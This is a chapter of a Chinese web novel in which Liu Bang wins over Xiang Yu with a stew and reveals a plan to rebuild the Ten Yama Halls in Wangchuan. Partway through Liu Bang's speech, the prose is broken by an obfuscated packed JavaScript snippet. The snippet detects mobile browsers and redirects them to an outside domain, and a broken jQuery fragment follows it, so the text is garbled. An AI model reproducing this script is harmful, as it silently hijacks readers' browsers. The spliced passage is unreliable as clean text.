项羽本欲拂袖而去,但念及唐棠的用心和好意,终究还是留了下来。不论这刘邦用意如何,这道佳肴却是没有罪过的。 他初时只是想浅尝辄止,然而那第一口汤水入喉,便仿佛打开了味蕾的新世界,一时间竟是停不住了。 项羽不知道唐棠炖汤向来讲究汤水清澈以求本味,只是觉得这看似清汤寡水,实则蕴藏着令人难以抗拒的鲜甜醇厚。喝下这汤之后,脑海中只有一个字,那就是“鲜”,一瞬间仿佛被香气带到了九霄云外,置身于天地之间。 “真鲜……”项羽一时觉得自己有些词穷,更觉得好奇,他当年作为楚王时也尝遍天下美味珍馐,却从未有过如此体验,这道龙凤烩既醇厚又清爽,既爽口又回味无穷,实在令人惊叹。 唐棠此前可不知道刘邦藏着这一出戏,她只知尽己所能,将菜肴做到最好。这里面的鸡可都是她在竹林里散养的,喝的是山泉水,吃的是竹间虫,每天上蹿下跳活动筋骨,又正好是鲜嫩肥美的年纪,那肉质鲜美口感紧实,不拿来清炖都可惜了。 而这甲鱼炖的火候也是刚刚好,一点土腥气都寻不见,在这鸡汤里炖得软嫩又不失弹滑,看似岿然不动,实则不堪一击,舌头一抵骨头就从肉上脱落,而最妙的还是那肥厚的裙边,一口咬下是满满的胶质感。 “这里面,竟然还有松茸。”诸葛亮也在细细品味着,从前他在隆中隐居时身居山中,身旁童子常常挖来山菌,去往蜀地后品尝的次数却是少得多了。 倒不是因为蜀地少有山菌,而是因为上有所好,下有所行。蜀地多山丘,少有良田,百姓若是遇上荒年,就连果腹都有些困难,他自当与民同苦。 不仅是松茸,还有野生的牛肝菌、香菇与黑虎掌菌,在长时间的炖煮下释放出缕缕清香,恰到好处地洗去了鸡肉与鳖肉的腥气,也将整道料理的汤汁鲜香更上一层楼。鲜嫩的松茸,口感更是莹润丝滑,太平公主犹爱这一味,还专程跑到锅边去,往碗里添了些进去。 “看在这佳肴的份上,今日便饶了你这为老不尊的泼皮。” 吃完这一碗龙凤烩,项羽的气也是消散了不少,他放下碗筷时,如此说道。 “是极是极,项王雅量高致,定不会与我等俗人一般计较。”刘邦还是那嬉皮笑脸的样子,“那我们之前商议的那事儿……?” 项羽瞥了一眼那边还摆着的象棋,没好气地甩下一句,没有赞同也没有拒绝,“再议吧。” 说罢,他竟是径直出了门去。 “高祖陛下,您跟项王说什么事儿了?”望着项羽离去的背影,太平公主凑了过来,好奇问道。 刘邦环顾四周,确信此处无旁人打扰,方才轻声细语地透露道,“我可就跟你们说,你们别往外传啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996745|161023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 上官婉儿心中暗忖,以刘邦那口无遮拦的性子,这秘密能守住才怪。然而,她面上仍是配合地点了点头,以示领会。 刘邦压低嗓音,神秘兮兮地说道:“前两日,始皇帝私下跟我说,他想在忘川重建这阎罗十殿,重整轮回之序,更邀请我担任这十殿阎罗之一。” 他的言语中流露出几分得意之情,想来也是,毕竟在这忘川之中英魂名士万千,能得始皇帝青睐者,却是寥寥无几。 唐棠闻言也是扬了扬眉,她不曾想才与嬴政提及此事,他便已雷厉风行地付诸行动。这便是始皇帝的行动力么? “始皇陛下竟不计较你夺他天下之事?”太平公主一听就觉得奇怪,开口问道。 “兴亡衰替,本是常事。前世之事,也不可更改。”刘邦如此说道,“我等既然得以上天垂怜身在忘川,自当为这天下尽一份力,又何必执着于前世恩怨呢?我看那始皇帝,如今也是忧心这天下局势多一些。” “只是我汉家儿郎,到此忘川的还不多见。本来我还想请我那重孙帮忙,可他似乎也收到了始皇帝的邀请。”刘邦也是思来想去,才做了这样的决定,“因此,我便邀那项王,助我一臂之力。” 苏轼闻言,略显惊讶地脱口而出:“你竟然想让项王助你?” “小声点小声点!”刘邦急忙做了个噤声的手势,“这事儿八字还没一撇呢,可不能到处声张。项王性情高傲,若是在外面听到风言风语,那指定不会答应了。” “可是此事听来,便觉艰难重重。”上官婉儿皱眉说道,“你与项王前世争锋相对,即便他身处忘川,对胜败已无所执,但生死之仇岂是轻易可解?” 刘邦却似胸有成竹般笑道:“正因如此,我才邀项王对弈共饮嘛。” “你的意思是,你刚刚悔棋耍赖,请项王吃霸王鳖鸡,是为了跟他搞好关系?”太平公主终于忍不住吐槽道。 “你们却是有所不知,依项王的性格,我若是低声下气地去求他,那反而是适得其反。”刘邦此时却像是算无遗策的样子,“倒不如如此这般插科打诨间,或许他说不定就答应了。” 若论及对项羽的了解,这世间恐怕连项羽本人都不及他。 “因为,在他眼中,我刘季本就是这般模样。”刘邦笑容中透露出几分狡黠与自信,“更何况,这事儿也不是为我一己私利,为的还是这天下苍生,大义也是站在我这一边的。” 太平公主凝视着他,似是有些明悟,又似是有些困惑,这帝王心术,委实是深不可测。 “不过,这一切也是出自于我大汉丞相的筹谋。”刘邦重重地拍了拍诸葛亮的肩膀,大笑道,“说实话,起初我心中也存有几分疑虑,但如今看来,这计策果真是妙不可言,收效甚佳。” “这却不是计谋。”从始至终谋划此事的诸葛亮只是淡淡一笑,仿佛云淡风轻,“我只是想看清项王的本心罢了。” “那么,依丞相之见,项王的本心究竟如何?”苏轼在一旁听得入神,此刻也忍不住插言问道。 “项王胸怀大志,心怀苍生,却是我等小觑了江东英杰。”那羽扇不知何时已回到诸葛亮手上,他此时轻轻摇起,比起刘邦刚刚的样子,倒更像是神仙中人的做派,“既然他并未当场回绝,那么此事,已是十拿九稳了。只是,高祖陛下……” “嗯?怎么了?”刘邦眉头微挑,疑惑道,“丞相但说无妨。” “下次与项王对弈,可不要再使诈了。”诸葛亮轻叹一声,神色中透露出一丝无奈,“我们之前谋划的时候,可没有这么一出。” 他当时在旁边看得明明白白,项王那时可是真动怒了。 “哈哈哈……旧习难改,旧习难改啊……”刘邦闻言,先是一愣,随即放声大笑,试图用笑声来化解这微妙的尴尬。 “这是什么旧习啊……”太平公主扶额吐槽道。 然而,正如诸葛亮所言,忘川中人,此后竟能时常目睹刘邦与项羽棋局对弈,虽说其间气氛总是不太融洽,但这样的画面,倒也算是忘川奇景了。